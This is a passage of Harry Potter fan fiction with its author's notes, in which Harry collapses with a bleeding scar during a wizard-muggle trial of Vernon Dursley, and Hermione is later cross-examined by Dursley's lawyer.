than I was expecting. I was aiming for a 12pg fic here! But it never seemed like a good place to stop</i>\n\n</p>\n\n<p>\n\n</p><p>\n\n<i>Okay, that\'s me done for now, chaps. If you reviewed for the last chapter, I\'ve mentioned your name at the end of the fic with a big THANK YOU to you. And if you reviewed an earlier chapter, thank you to you too, only I can only type for so long!</i>\n\n</p>\n\n<p>\n\n</p><p>\n\n<i>Oops, almost forgot the obligatory `I do not own Harry Potter, nor am I making profit from this-you can say that again! Just in case anyone gets any ideas, I should put disclaimers in for Buffy, and Lord of the Rings while I\'m at it-I might explain these eventually, but right now who cares?!</i>\n\n</p>\n\n<p>\n\n</p><p>\n\n<i>Oh, and Ta to Nappa- my Big Yoda -I do not own Star Wars either, not that I\'d want to.</i>\n\n</p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> Harry Potter and the Trial of Memories - Part 2 </p>\n\n<p>\n\n</p><p> Lupin and the rest of the courtroom, bar Vernon and his lawyer, looked on in abject horror when the young wizard collapsed out of his seat, with a jarring thud to the hard oak floor. Remus winced in sympathy at whatever injury had been done to Harry\'s shoulder. Fear lanced through him, like a dagger of pain through his heart, when he realised that something was very seriously wrong. A realisation brought about by the dual facts of Harry not getting up again; staying on the floor with great shudders racking his body. And by the way in which both Dumbledore and Hagrid sprung up, and rushed to Harry\'s side. Along with Judge Ravencast and Fletcher. And though in reality, he was a bare second behind them, it seemed to be forever before Remus could push his body out of the state of overwhelming shock and fear it had entered, and begin moving to where his dead best friends son laid. Hagrid\'s hulking mass temporarily blocked his view. </p>\n\n<p>\n\n</p><p> &#8220;Oh God. `Arry, `Arry wake up. By Merlin, Professor look ah `im.&#8221; </p>\n\n<p>\n\n</p><p> Remus finally pushed his way through, the Weasley\'s hot on his heels. </p>\n\n<p>\n\n</p><p> Fletcher and Grand Judge Ravencast were crouching over Harry, who lay on his side, his back to Remus and those behind him, great shudders sporadically racking his frame. To Remus, the schoolboy wizard suddenly seemed at once, very small, helpless and heart-wrenchingly young. </p>\n\n<p>\n\n</p><p> Dumbledore knelt down, and gently pulled Harry onto his back. He looked like death. </p>\n\n<p>\n\n</p><p> A shimmering sheen of sweat clung to his face, pale but for a slight flush at his cheeks. His eyes were tightly clenched shut, and his arms were tightly wrapped into himself, in a protective gesture. </p>\n\n<p>\n\n</p><p> But the one thing that struck absolute terror into Remus\'s heart, the one thing that would be forever branded hot into his memory, for as long as he lived, was the blood. Blood, rich and healthily dark, wound its way down the lines of Harry\'s face. It was like a many forked river, gathering more so in two shallow pools at the corners of Harry\'s eyes. He\'d lost his glasses in the fall. </p>\n\n<p>\n\n</p><p> The blood continued to pour. And what scared Remus most of all, and those who were close enough to Harry to recognise the significance, was that the blood was not coming from an injury gained in the impact of the floor against him. It was already beginning to flow as Harry fell. It came from his scar. </p>\n\n<p>\n\n</p><p> The lightening shaped bolt on his forehead, the only remnant of the night many years ago, when Voldemort had been defeated in more than mysterious circumstances. It was raised and swollen, as though it had been cut anew. </p>\n\n<p>\n\n</p><p> Harry\'s shivering body suddenly jolted and bucked, then fell silent, still and flat against the floor. As Dumbledore and Fletcher frantically checked Harry\'s pulse, gasping out sighs of relief to note that Harry was still breathing, even if it were shallowly. Then Harry began gasping, as if from great exertion. But still he gave no sign of being consciously aware of anything outside of what he might be experiencing. His scar still bled. </p>\n\n<p>\n\n</p><p> Moments later, Harry was being carried quickly out of the courtroom, now appearing to be only sleeping, if it were not for the bleeding. Lupin was not entirely consciously certain of when he had picked up one side of his sort-of-Godson, Mr Weasley one the other. A grimace was deeply lining his face, lost in another time when he had performed a similar grim duty. </p>\n\n<p>\n\n</p><p> The reality of everything around him sunk in, as Remus blinked in response to a command from Dumbledore, he quickly became aware of something other than Harry. There were voices and panicked whispers all about him. Some of the Jury whispered concernedly amongst themselves, whilst others looked on unimpressed. They were also listening to one particularly loud voice that was shouting to be heard. Lupin afforded himself a quick glance back. </p>\n\n<p>\n\n</p><p> Vernon Dursley was the owner of the voice, and he was currently holding on hard to the bars encircling the dock, concerned security wizards were moving towards the infuriated muggle, wands drawn. As Remus exited, he caught the last snippet of what Vernon was saying. </p>\n\n<p>\n\n</p><p> &#8220;It\'s a trick. A damned wizard trick. He\'s trying to gain the Jury\'s sympathy. Don\'t believe him, don\'t believe&#8230;&#8221; </p>\n\n<p>\n\n</p><p> Remus was wholly glad when he could no longer here the muggles voice. How anyone person could be so prejudiced, and could tell lies so blatantly, was beyond him. The sad and scary thing was that more than a few people in the courtroom would have been persuaded by it. He was aware that on some level, he had filed away on his `to do\' list, to give Vernon a good kicking. See how the foolish old muggle would fair against a fully-grown wizard, who hadn\'t recently suffered a personal trauma. Maybe then the fat lump would understand. </p>\n\n<p>\n\n</p><p> They had reached the centre of the lobby, when Judge Ravencast motioned them to stop. </p>\n\n<p>\n\n</p><p> He walked towards the wall on his left, producing his wand, and aiming it at the wall, he spoke a few words in a language that Lupin only faintly recognised as old. The fire covered outline of a phoenix instantly burst into being. It was high off the floor, at about chest height. Almost as instantly as it began, the flames seemed to blown out, leaving only a charred outline on the wall. Ravencast tapped the wall a second time, and then walked straight through the wall! </p>\n\n<p>\n\n</p><p> With only a brief hesitation, both Lupin and Mr Weasley walked through with Harry still in their arms. A slight tremor racked the young wizards body, a frown marred Lupin\'s face, tempered with the knowledge that Harry might wake up soon. And what horrors would he have to report? What terror had he endured once again thanks to Voldemort? A flame of anger that had flickered into being on the day of the Potter\'s death, yet again began to burn achingly inside his chest. He made a silent vow in that moment to do all that he could to bring an end to the Dark Lord, even if it meant facing his own painful past. He would have to try and pass the Phoenix initiation test. The thought was not that appealing, but for the sake of Harry, he would do it. And this time he intended to both finish it, and to pass. But given his own experience, he had wondered how anyone was ever able to pass, and those that had, had nothing but his utmost admiration and respect. </p>\n\n<p>\n\n</p><p> Harry shifted again in his arms. When Lupin found himself able to tear away from Harry\'s nightmare-like contorted face, he discovered that they were in Grand Judge Ravencast\'s private chambers. It was plainly decorated, with the same dark oak theme of the courtroom, and finished in soft red leather furnishings. Bookcases lined the walls behind and to the right of him. A desk with chairs on opposite sides was in the centre. And a longer couch was on the left. Ravencast motioned for them to put Harry down upon it. </p>\n\n<p>\n\n</p><p> A part of Lupin was loathed to give Harry up into the care of anyone save himself, but he nodded to Arthur Weasley to give up his hold first, then Lupin moved to place Harry on the couch as comfortably as he could. And with a second thought, reached into his pocket, and took out the hanker-chief he carried in it. Then reached for the nearby pitcher of water, put the cloth in, ringing it out so that it was only lightly damp, and began tenderly removing the blood that was covering Harry\'s face. He heard the others talking, and could feel the presence of people jostling for room in the small space. He felt a momentary anger. Why couldn\'t they just leave Harry alone for two seconds? </p>\n\n<p>\n\n</p><p>\n\n<i>Just let him be</i> Lupin thought. But that was never going to happen. So he focused his attention on continuing to clean Harry\'s face instead, taking extra care around the still slightly weeping scar. </p>\n\n<p>\n\n</p><p> &#8220;Can we not call Madam Pomfrey Professor?&#8221; Hagrid was asking. </p>\n\n<p>\n\n</p><p> &#8220;I\'m afraid that she could not help in this matter, except perhaps for the headache he might have later.&#8221; </p>\n\n<p>\n\n</p><p> &#8220;Headmaster, is this one of those vision things you told me about? You never mentioned that his scar would bleed.&#8221; </p>\n\n<p>\n\n</p><p> &#8220;That\'s because it never has before Cornelius. Which in itself is quite worrying. And he has certainly never collapsed before. I wish we could help him in some manner.&#8221; </p>\n\n<p>\n\n</p><p> &#8220;Perhaps I can.&#8221; </p>\n\n<p>\n\n</p><p> Everyone turned to look at the owner of the voice that spoke roughly. Harry\'s eyes had opened. Lupin took one hand and helped Harry into a sitting position and handed him his glasses. Lupin wasn\'t even aware that he\'d picked them up. Then he pulled a chair alongside Harry and sat down. The message was clear; no one was going to mess with Harry whilst Lupin was in the room. </p>\n\n<p>\n\n</p><p> &#8220;How do you feel Mr Potter?&#8221; the judge asked moving closer to Harry, though common sense told him not to move too close to the werewolf beside the young wizard. </p>\n\n<p>\n\n</p><p> Harry could only grimace, as bile rose in the back of his throat, a sickly burning sensation caught in his lungs, he felt dizzy from a fever-like state, and he had an overwhelming need for personal space, preferably somewhere cool, with plenty of water at hand. Ironically, the Great Lake didn\'t look like so bad a holiday destination now. </p>\n\n<p>\n\n</p><p> &#8220;Too warm. My throat is a little dry, do you have any water?&#8221; </p>\n\n<p>\n\n</p><p> &#8220;Of course.&#8221; Judge Ravencast pointed his wand at the now empty pitcher, and it refilled itself. Moments later gloriously cool; clear liquid made it\'s way down Harry\'s burning throat. All thoughts of nightmarish futures and present trials seemed to be cleared away by the purifying substance. But only for a moment. His second ailment was cleared too, as Dumbledore took charge, shooing out all government ministers, family of friends- Mrs Weasley threw Dumbledore a look that would still even Voldemort- and Hagrid. Those who stayed were Dumbledore, Judge Ravencast, and the thoroughly unmovable Lupin. </p>\n\n<p>\n\n</p><p> The Judge\'s private chambers looked larger now, and did not feel anywhere near as hot. </p>\n\n<p>\n\n</p><p> &#8220;Feeling better now Harry?&#8221; the Judge questioned. Harry nodded his ascent. </p>\n\n<p>\n\n</p><p> &#8220;Forgive me Harry, but whatever you have just experienced, I would ask that you relive it for us now.&#8221; </p>\n\n<p>\n\n</p><p> Harry was uncertain where to begin, and told the headmaster as much. But he had an overwhelming need to have Sirius by his side, as well as Lupin. </p>\n\n<p>\n\n</p><p> &#8220;Perhaps you should start where all tales must, at the beginning.&#8221; </p>\n\n<p>\n\n</p><p> ~o0o~ </p>\n\n<p>\n\n</p><p> It had been three days since the eventful start to the trial, and until today, little of any real relevance had occurred. Harry had returned to the courtroom on the second day, looking tired but otherwise well. And a further two days had passed, before the awkward, legal and technical wrangling had been gotten past, as such where the difficulties in matters of law between magic and non-magic folk. Perhaps considered the most irritating thing by most was the dismissal out-of-hand of truth serum as evidence, by muggles. If it were accepted, it seemed that trials would be over quickly and painlessly, as guilty parties would be made to admit as much. But, as quick-minded muggles pointed out, the truth serum, was not entirely full proof. Given a skilled enough wizard, the potion could be mixed to have the one who ingested it, admitting to anything that potion-mixer desired. Indeed it had been known to occur twice in wizard history. But once again, as the quick-witted Mr Hayes had pointed out, it may have happened frequently, without the potion-mixer ever being found out. </p>\n\n<p>\n\n</p><p> But today witnesses were being called for the first time. And Harry, having been there for several hours, had already seen many. And had begun to feel a little disheartened by them all. Mr Hayes had pulled apart the testimonies of the young Weasley\'s, except for Ron, who had not yet been called. </p>\n\n<p>\n\n</p><p> Harry had snickered as Fred was called to the stand, but he definitely wasn\'t laughing as he left. Fred had been unable to maintain his composure as Mr Hayes had asked him what he had thought gave him the right to barge into Vernon Dursleys home, and why he had felt the need to persecute the man, and his family in the first place. Fred, much like his brother, had exploded at such a question, rattling off every bad thing he knew about the Dursley\'s, and their treatment of Harry. When asked where he knew about such treatment, Fred had become flustered, having to admit that he only knew because Harry had said as much, or then again not. Since Harry didn\'t particularly enjoy talking about them. </p>\n\n<p>\n\n</p><p> It was somewhat of a recognisable problem, Harry\'s friend\'s passionate belief in him and his word, their utter devotion to caring for him, as a brother, or in Ginny\'s case embarrassingly more so. The youngest Weasley had left red-faced with any tears falling from her eyes when Mr Hayes had finished questioning her. </p>\n\n<p>\n\n</p><p> Harry only hoped that the rest would not break under such questioning, and ask himself why Fletcher had yet to ask to cross-examine any of the witnesses. Fletcher had said that he would call all of them back, and that Harry should trust him as Dumbledore did. </p>\n\n<p>\n\n</p><p> Harry had another sip of water, it was strange how one could develop a taste for a tasteless liquid, and the only unfortunate side effect was the frequent need to pee. The muggle in the Jury was glaring at him again. The man, in his late thirties-early forties, was balding and wearing an ill-fitting pin stripe suit. Lines marred a face that might be younger than it otherwise appeared. There was a semi-expensive watch on his left wrist, an old napkin folded neatly into one pocket of his suit, and yellow stains on both his teeth and two fingers of his right hand, speaking of an expensive and probably life-threatening nicotine addiction. And the man always had an expression on his face when he looked at Harry that could sour milk. But he looked admiringly at Vernon and Mr Hayes. He smirked whenever Mr Hayes had Harry\'s friends flustered, and nodded his head vigorously at any comment made, however lightly that was derogatory to wizards. Or, as Harry found most bizarre indicated muggles, as being the victims of the oppressive and cruel wizard society. Of course these comments were both vague, and open to interpretation, but still rather obvious. </p>\n\n<p>\n\n</p><p> Muggles felt oppressed? Who by? Most of them didn\'t even know that wizards existed. </p>\n\n<p>\n\n</p><p> No, Harry decided. The muggle who kept glaring at him was one the classic magic-people haters. By some way he had come across the hidden way of wizard society, and was allowed to retain his memory about it. Being already relatively successful in whatever business venture he was in, he would have pondered the benefits of using magic to further his profits, and earn himself that extra holiday in Majorca. Discovering that he would be unable to do this himself, he would have made discreet enquiries as to employing a wizard to help, only to be told that such things were not done. The man would have raged silently to himself, and painted in Harry\'s mind, a long-suffering wife. </p>\n\n<p>\n\n</p><p> He would have taken to drinking slightly more scotch on a night, smoking too many cigars. In his anger at wizards for not helping, he would have failed to keep up with his business ventures, and watch as his profits decreased slightly with each passing year. With each decrease in profits, there would be a slight increase in drinking, perhaps he would start taking his anger out on loved ones &#8230; </p>\n\n<p>\n\n</p><p>\n\n<i>Stop it!</i> Harry told himself sternly. Truth be told, the muggle reminded him very much of Uncle Vernon, entirely too much, which was why his imagination had painted a background so similar to his Uncle for the man. The muggle could well have an extremely justifiable reason for looking at Harry the way he was; he might just have a problem with his facial muscles. Though it was unlikely. The man was entirely too much like Uncle Vernon, though he was tall and overly lean, whereas Vernon was quite short and fat, a miniature cave-troll in all his glory. </p>\n\n<p>\n\n</p><p> He flicked his attention back to the disappearing Weasley, and took another sip of water, remembering to pace himself, since he couldn\'t really get up midway through the trial just to use the loo. </p>\n\n<p>\n\n</p><p> &#8220;Hermione Elizabeth Granger.&#8221; Was called. </p>\n\n<p>\n\n</p><p> Harry suddenly felt much lighter, worrying only that Hermione not be humiliated by Mr Hayes like the others were. Harry glared at Mr Hayes back for good measure, he would have flipped him an obscene gesture too if Vernon Dursley Mark II hadn\'t been watching. He sighed lightly to himself, one day soon he would have to bring himself to look into the eye of the man who caused him so much pain, when he could have been family or friend. One day. He looked straight into the eyes of the watching Vernon Dursley Mark II, startling the man. One day soon, he promised. </p>\n\n<p>\n\n</p><p> ~o0o~ </p>\n\n<p>\n\n</p><p> Hermione Granger along with Ronald Weasley and most of his siblings sat in the lobby outside of the main court. She smoothed out the hem of her robes again, then pulled at her hair, making sure it was still in the loose but smart looking knot at the nape of her neck. </p>\n\n<p>\n\n</p><p> &#8220;It\'ll stay in longer if you don\'t keep pulling at it.&#8221; Bill Weasley said quietly from his seat beside her, a small grin on his face. She smiled lightly back. She glanced at Ron, who was sat about three feet away in a smaller chair. He appeared to be doing mental arithmetic, staring into space, mumbling to himself, and occasionally counting with the use of his fingers. Every few minutes he would start again, apparently having forgotten his answer. </p>\n\n<p>\n\n</p><p> &#8220;What are you doing?&#8221; she whispered quietly to him. He shot her a glance, and an exasperated sigh, as if to say `look, see you made me lose count!\' </p>\n\n<p>\n\n</p><p> &#8220;Trying to remember exactly how many days it\'s been since we brought Harry back from the muggles.&#8221; </p>\n\n<p>\n\n</p><p> &#8220;Why?&#8221; </p>\n\n<p>\n\n</p><p> &#8220;Well what if the lawyer asks?&#8221; </p>\n\n<p>\n\n</p><p> &#8220;Ron, I don\'t think that he\'d ask you something like that. He\'ll know!&#8221; </p>\n\n<p>\n\n</p><p> &#8220;That\'s what you think. But this is where they slip you up isn\'t it.&#8221; </p>\n\n<p>\n\n</p><p> &#8220;What on earth do you mean?&#8221; </p>\n\n<p>\n\n</p><p> &#8220;If he can get you to look stupid when he asks you something as simple as when something happened, and you don\'t know.&#8221; He made a faint gesture with hands, that didn\'t make any sense whatsoever. </p>\n\n<p>\n\n</p><p> &#8220;Well if he can get the Jury to question the small things about your statement, it\'s easier for him to get them to question everything you say isn\'t it?&#8221; </p>\n\n<p>\n\n</p><p> She stared at him. He really could be quite clever sometimes. Granted not at the most helpful of times, but still. Ron turned away and began muttering to himself again, and Hermione felt content to let him carry on. </p>\n\n<p>\n\n</p><p> She was in honesty, glad that Ron was taking it seriously. After all she had found out, with a little arm twisting, that the trial wasn\'t going as well as Harry had hoped, or at least it didn\'t appear to be. And if Harry was worried, Hermione definitely was. She hoped that her giving what evidence she could would be enough, she certainly didn\'t want to be the reason for Vernon Dursley walking free. </p>\n\n<p>\n\n</p><p> If there was one thing Hermione was good at, other than surprise quizzes and end-of-term exams, it was worrying enough for three people. Usually a necessity when you were friends with `the boy who lived\' and a Weasley. </p>\n\n<p>\n\n</p><p> And Hermione certainly was very worried about Harry at that moment. It seemed she had just gotten her friend back, and now she felt that she was losing him again. He had told them about the `scar vision dream thing\', as they had started calling them for lack of a specific word. But it wasn\'t something that Harry could\'ve avoided telling the really, given that when he had returned to Hogwarts, his scar was raised and swollen red, and occasionally, most disturbingly, it still bled. Fortunately it had not done so for at least a day, and had returned to simply looking like a scar. But that didn\'t mean that Hermione had stopped carrying a clean handkerchief, and some instant healing potion, just in case. </p>\n\n<p>\n\n</p><p> Harry had told them that his `vision\' had been a continuous replay of an old man being dragged by Deatheaters down Knockturn Alley. Though Harry had assured them, that Dumbledore and the others were doing something about it, Hermione knew that there was a lot more to what had happened than Harry was telling. After all, she didn\'t pass out in the girl\'s loos that day at the exact moment of Harry\'s vision by coincidence. </p>\n\n<p>\n\n</p><p> For a cold March day, she had overheated rapidly, and felt a very unpleasant sensation of being squashed down upon by something very heavy. Like she was being wrapped up in it, and choked of air at the same time. Not that she\'d told anyone about the incident, at least in her view she was becoming accustomed to them. What was worrying this time was that Harry had been nowhere near the Staff of Gaia, when the vision had struck, nor was he attempting to do something with it. Which was what she usually felt. Which suggested in Hermione\'s mind that either these visions were entirely connected to Harry\'s powers, Staff usage included. Or that their bond was simply becoming stronger. Either way, at some point Hermione knew she would have to speak to him about it. For so far, the only time Harry was aware that Hermione had felt a real connection, had been back at the Burrow, when he\'d first used the Staff. </p>\n\n<p>\n\n</p><p> Harry truly did seem unaware of what Hermione felt when he used the Staff, or was attempting not to activate it with his mere presence. He had seemed so mortally embarrassed when he\'d found out that she\'d seen some of his memories. When he\'d plucked up the courage to ask he which ones, she didn\'t think she could lie to him, and had told him that she had seen his parents. That she did remember Harry\'s first encounter with her, now from his point of view too. And that she had seen some of his so called life at the Dursley\'s. </p>\n\n<p>\n\n</p><p> Which was why when Harry had told them about the vision, she knew that he had not told them everything, by any means. He was frightened by something, and she wanted to know what. </p>\n\n<p>\n\n</p><p> The slamming sound made as Ginny Weasley re-entered the lobby, distracted Hermione from her thoughts, as did the fact that Ginny was in tears. Numerous red-haired heads immediately gathered around the distraught youngest family member. Hermione was close behind, in time to hear Molly Weasley attempting to comfort her daughter and find out what had her so upset. </p>\n\n<p>\n\n</p><p> &#8220;George Harris Weasley.&#8221; </p>\n\n<p>\n\n</p><p> George shot daggers at the man calling him, and then a pleading look to his mother, he wanted to know what Mr Hayes had said to his sister. </p>\n\n<p>\n\n</p><p> &#8220;It\'s alright George dear, we\'ll take care of your sister. You just go ahead, and remember to be honest.&#8221; </p>\n\n<p>\n\n</p><p> George nodded at Mrs Weasley, sharing a glance with Fred, and then flipped a one-fingered salute at the back of the man who had called him, before trailing after him. </p>\n\n<p>\n\n</p><p> &#8220;Ginny, why don\'t you tell us what has you so upset? Mr Hayes..&#8221; Mrs Weasley spat the name out as if it tasted bad. </p>\n\n<p>\n\n</p><p> &#8220;What did Mr Hayes say to you?&#8221; </p>\n\n<p>\n\n</p><p> Ginny continued sobbing, as her father handed her a handkerchief. </p>\n\n<p>\n\n</p><p> &#8220;He was so&#8230; mean. He said &#8230; really mean things about Harry.&#8221; She paused to blow her nose. </p>\n\n<p>\n\n</p><p> &#8220;He said that Harry was a liar, and I must be too. Because of what happened in my first year at school.&#8221; </p>\n\n<p>\n\n</p><p> Mrs Weasley looked at her husband, sadness played out across every feature of her face, as well as a motherly anger. Mr Hayes was not making any friends in the wizarding world. Of course Mrs Weasley knew that her daughter was more scarred by the incident than she would ever let on to her big brothers. And to have it raised again was something that she had always hoped could be avoided. </p>\n\n<p>\n\n</p><p> &#8220;What else did he say?&#8221; Hermione asked, curiosity getting the better of her. </p>\n\n<p>\n\n</p><p> &#8220;I was saying that Harry was really brave and stuff, because of what happened, he did almost die trying to save me! But the lawyer said that I didn\'t know any of it was true, because I was, I was &#8230;&#8221; </p>\n\n<p>\n\n</p><p> Ginny was reduced to sobbing on her mothers shoulder. But she hadn\'t needed to finish. Ginny couldn\'t be an eyewitness to Harry\'s heroics because she unconscious and close to death at the time. </p>\n\n<p>\n\n</p><p> When Ginny had finally composed herself some time later, she admitted to them that Mr Hayes had also correctly guessed about her crush on Harry, this she had said red-faced to her brothers amusement. But this was simply another way in which Mr Hayes had tried to discredit her usefulness as a witness. </p>\n\n<p>\n\n</p><p> And though any witness they called from the school, who was a friend-or not- of Harry\'s would all be able to recount his heroics against six trolls and a dragon, they couldn\'t. Because at the moment, the Staff of Gaia still needed to be kept a secret. Something which was impressed upon to all by Dumbledore. </p>\n\n<p>\n\n</p><p> They simply could not reveal its existence, or Harry\'s link to it, even if it was in detriment to the case. Because reporters were already waiting in the lobby. Like Vultures they were waiting for the first Jury member to `leak\' the goings on. Plus a few of them were not past using various unscrupulous methods to get the `real\' story. So far two witches had been kicked out for using a Polyjuice potion to get in. One of them had in fact tied up Dudley in a storage locker in the Giants department, only being found out when Petunia had gone to her son to attempt to speak to him for the first time in many months. </p>\n\n<p>\n\n</p><p> Luckily nothing had begun, as the courtroom had only just filled. Security wizards were surrounding the fake Dudley within moments. Leaving a slightly shocked Petunia and Harry in their wake. Dudley was found, fed and comforted by a sobbing Petunia. Of course Vernon had found out about it, and his lawyer had been very interested. To them it just pointed out another way in which wizards were dangerous to muggles, and it would not help Harry\'s case in the slightest. Nor would the fact that his Aunt appeared to be unwilling to speak to him. Dudley was he was not surprised about, but Petunia. It stung more than Harry was willing to admit, that she wouldn\'t talk to him. And the same graceful witch as he\'d sent he first day of the trial, appeared to be sticking to his Aunt like glue. So he couldn\'t get near her. </p>\n\n<p>\n\n</p><p> Those were just a few of the things that Harry had told Hermione about when he was trying to get out of telling her about his dream, but she could not be deterred. </p>\n\n<p>\n\n</p><p> &#8220;Frank Sinatra Weasley&#8221; </p>\n\n<p>\n\n</p><p> Hermione looked up in time to see a mightily pissed off Fred rising, giving a two-fingered obscene gesture to the back of the caller, as he passed his brother. Fred disappeared through the double doors, Hermione didn\'t have much time to muse on his real name, as his brother sat down with a heavy thud. </p>\n\n<p>\n\n</p><p> &#8220;I\'m gonna let a filibuster firecracker off under that mans arse next time he sits down I swear!&#8221; </p>\n\n<p>\n\n</p><p> &#8220;Didn\'t go very well I take it?&#8221; Bill questioned. </p>\n\n<p>\n\n</p><p> &#8220;How\'d ya guess?&#8221; </p>\n\n<p>\n\n</p><p> &#8220;Psychic.&#8221; Bill deadpanned. </p>\n\n<p>\n\n</p><p> &#8220;What happened?&#8221; Ron asked worriedly. </p>\n\n<p>\n\n</p><p> &#8220;You don\'t wanna know.&#8221; George said, shaking his head. </p>\n\n<p>\n\n</p><p> Trouble was Hermione did want to know, and then again she didn\'t. It seemed like no time at all had passed before </p>\n\n<p>\n\n</p><p> &#8220;Hermione Elizabeth Granger.&#8221; Was called. </p>\n\n<p>\n\n</p><p> Fortunately Hermione had more control than either of the Weasley twins, but at that moment in time, she felt like flipping someone an obscene gesture herself. </p>\n\n<p>\n\n</p><p> ~o0o~ </p>\n\n<p>\n\n</p><p> Taking a moment to look at the courtroom before the security wizard placed one hand to the small of her back -rather obtrusively she felt- and began to propel her forward. It was much more `normal\' than she had been expecting. Wood panelling must be big this year. The security wizard opened the gate in front of her; that separated the actual court from the `audience\'. And then pushed her slightly roughly into the central seat, a small wooden chair, placed at the centre of a faded pink coloured symbol. Curiously it was the most rarely used symbol in the wizard world, and the most frequently used symbol used by muggles when depicting witches and wizards. Hermione remembered from some of the research she\'d done into wizard law, that the symbol was supposed to change colour according to the person occupying it, and then also according to their mood. A low-tech lie detector in a way; very unreliable unless you really knew something about them. Currently Hermione wondered what pin that was darkening to a deep orange meant. Because if it was scared out of her mind; the symbol was dead on. </p>\n\n<p>\n\n</p><p> To her immediate front, there was a raised box in which the Judge Ravencast, and two other Phoenix Order members sat. To the front and right a bit, was the dock, which held Vernon Dursley, she wondered if it had needed to be structurally strengthened for the job. She\'d never actually met him before, but he seemed all the worse in the flesh than he had been in Harry\'s memories. To her left and up, were twelve people, the jury, all muggles as far as Hermione knew. To her direct left was a grinning man with a perma-tan, blindingly white teeth, that reminded her of Gilderoy Lockheart; and blond hair, that she supposed was fake as well. He was wearing a blue pinstripe suit that seemed to be designed purely to show off the fact that he was attractive in a rather fake way. He was sat leaning back on his chair slightly, with his hands clasped in front of him, as his elbows leant on the chair arms. Everything about the man spoke of smug confidence and sheer arrogance, he believed he would win. Hermione hated him already. </p>\n\n<p>\n\n</p><p>\n\n<i>Pity, if it weren\'t for the fake tan and Draco hair, he could actually be attractive.</i>\n\n</p>\n\n<p>\n\n</p><p> To her immediate left was Mundugus Fletcher, apparently engrossed in a copy of a Jackie Collins novel, by the way his eyebrows raised suddenly, and a slight smile tugged at his lips. Her gaze fell on Harry, who gave her a quick, but bright smile and an encouraging nod. </p>\n\n<p>\n\n</p><p>\n\n<i>I wish he\'d smile like that more often.</i>\n\n</p>\n\n<p>\n\n</p><p> She smiled back, hoping that this time, unlike all of the Weasleys before her, she could give him something to smile about. </p>\n\n<p>\n\n</p><p> Mr Hayes pushed back from his seat a few moments later, he\'d waited longer than was strictly necessary, staring at Hermione with unnecessary intensity. He was trying to unnerve her, and she did not appreciate it. The orange lawyer walked around his desk, fastening a jacket button as he moved. He all but swaggered across the small gap, again taking more time than was necessary. He stopped about a metre in front of her and smiled. Putting his hands in his pockets, he asked his first question. </p>\n\n<p>\n\n</p><p> &#8220;Miss Granger is it?&#8221; </p>\n\n<p>\n\n</p><p> Hermione nodded an affirmative, before remembering that she\'d been told by Fletcher to always answer `Yes\' or `No\' wherever possible. </p>\n\n<p>\n\n</p><p> &#8220;Yes Sir.&#8221; </p>\n\n<p>\n\n</p><p> He smiled again, and walked to her right, blocking her view of Harry, and of any support she might feel from him. </p>\n\n<p>\n\n</p><p> &#8220;Miss Granger, could you please explain the nature of your relationship with Mr Harry Potter?&#8221; </p>\n\n<p>\n\n</p><p> &#8220;Yes. I\'ve been best friends with Harry for about four years.&#8221; </p>\n\n<p>\n\n</p><p> &#8220;Really?&#8221; the lawyer said, looking at the Jury, he raised an eyebrow in a rather infuriating manner. </p>\n\n<p>\n\n</p><p> &#8220;Yes.&#8221; </p>\n\n<p>\n\n</p><p> &#8220;`Best\' friends? Yourself, Mr Potter, and a Ronald Weasley, I believe?&#8221; </p>\n\n<p>\n\n</p><p> Hermione nodded. </p>\n\n<p>\n\n</p><p> &#8220;It must be nice to have such a famous friend, I imagine it opens many doors for you and Mr Weasley doesn\'t it?&#8221; </p>\n\n<p>\n\n</p><p> &#8220;Not really.&#8221; </p>\n\n<p>\n\n</p><p> Mr Hayes shifted slightly, still blocking her view of Harry, but she could see Fletcher sitting in his seat, still intently reading his romance novel. </p>\n\n<p>\n\n</p><p> &#8220;Are you certain? Being friends with <i>the</i> Harry Potter would have its advantages. After all, I gather that your little group have broken very many school rules. In fact, I believe that the number the three of you together have garnered in your time at Hogwarts, is One Hundred and Thirty-Seven.&#8221; </p>\n\n<p>\n\n</p><p> Hermione was a little shocked upon hearing an actual number. She knew that despite her being a stickler for the rules, they had broken many in their `adventures\' at Hogwarts, no one had ever confronted her with such an horrific number before. Her mouth dropped open a little. </p>\n\n<p>\n\n</p><p> &#8220;I &#8230; I didn\'t think that it was as many as that.&#8221; </p>\n\n<p>\n\n</p><p> &#8220;Hmm, Yes. One Hundred and Thirty-Seven. Rather a lot isn\'t it? My word, my own jaw dropped at hearing that one. One Hundred and Thirty-Seven. Strange really, as my understanding of your school tells me that, depending on the severity of the rule being broken, any student with fifteen broken rules warrants automatic suspension, and any with more than twenty, expulsion. So perhaps you can tell me now, that being friends with <i>the</i> Harry Potter does have its advantages?&#8221; </p>\n\n<p>\n\n</p><p> &#8220;I suppose it does a little. But you have to look at the reason why we broke the rules. Whenever we did, it was always for a good reason.&#8221; </p>\n\n<p>\n\n</p><p> &#8220;Really? Have you ever heard the saying that <i>the road to hell is paved with good intentions</i>?&#8221; </p>\n\n<p>\n\n</p><p> &#8220;Obviously whoever said that never intended to do anything good in their life.&#8221; Hermione answered smartly. She heard a light snicker from a few people, two of them in Harry and Fletcher\'s direction. The lawyers fa&#231;ade slipped slightly, obviously he hadn\'t been prepared for a young girl with a smart mouth, to be intelligent as well. Or one that wasn\'t going to cry when he poked her. </p>\n\n<p>\n\n</p><p> Mr Hayes then smiled at her. </p>\n\n<p>\n\n</p><p> &#8220;Indeed, your probably right. Your quite a smart young woman aren\'t you?&#8221; </p>\n\n<p>\n\n</p><p> &#8220;I wouldn\'t say that. I just like to read a lot.&#8221; </p>\n\n<p>\n\n</p><p> &#8220;Top of your class in most of your lessons. I would say that that warrants you to be called smart.&#8221; </p>\n\n<p>\n\n</p><p> Hermione only blushed. </p>\n\n<p>\n\n</p><p> &#8220;You say that to understand why yourself and Mr\'s Potter and Weasley have not yet been expelled despite breaking so many rules, I should look at the reason behind you breaking them, and that the intention would be good. But I\'m sure that not all of them were born out of the pure goodness of your hearts. You are after all, young people. Adventurous young people from what I here. Perhaps you broke the rules once or twice out of mischief?&#8221; </p>\n\n<p>\n\n</p><p> Hermione couldn\'t remember any specific incidents. Indeed all she was aware of were the time that they took Harry to Hogsmeade under his father\'s invisibility cloak, simply because he wanted to. </p>\n\n<p>\n\n</p><p> &#8220;I can\'t remember a time.&#8221; </p>\n\n<p>\n\n</p><p> Mr Hayes pursed his lips and raised his eyebrows, before turning to the jury, and lifting both his arms, palms out. </p>\n\n<p>\n\n</p><p> &#8220;Young 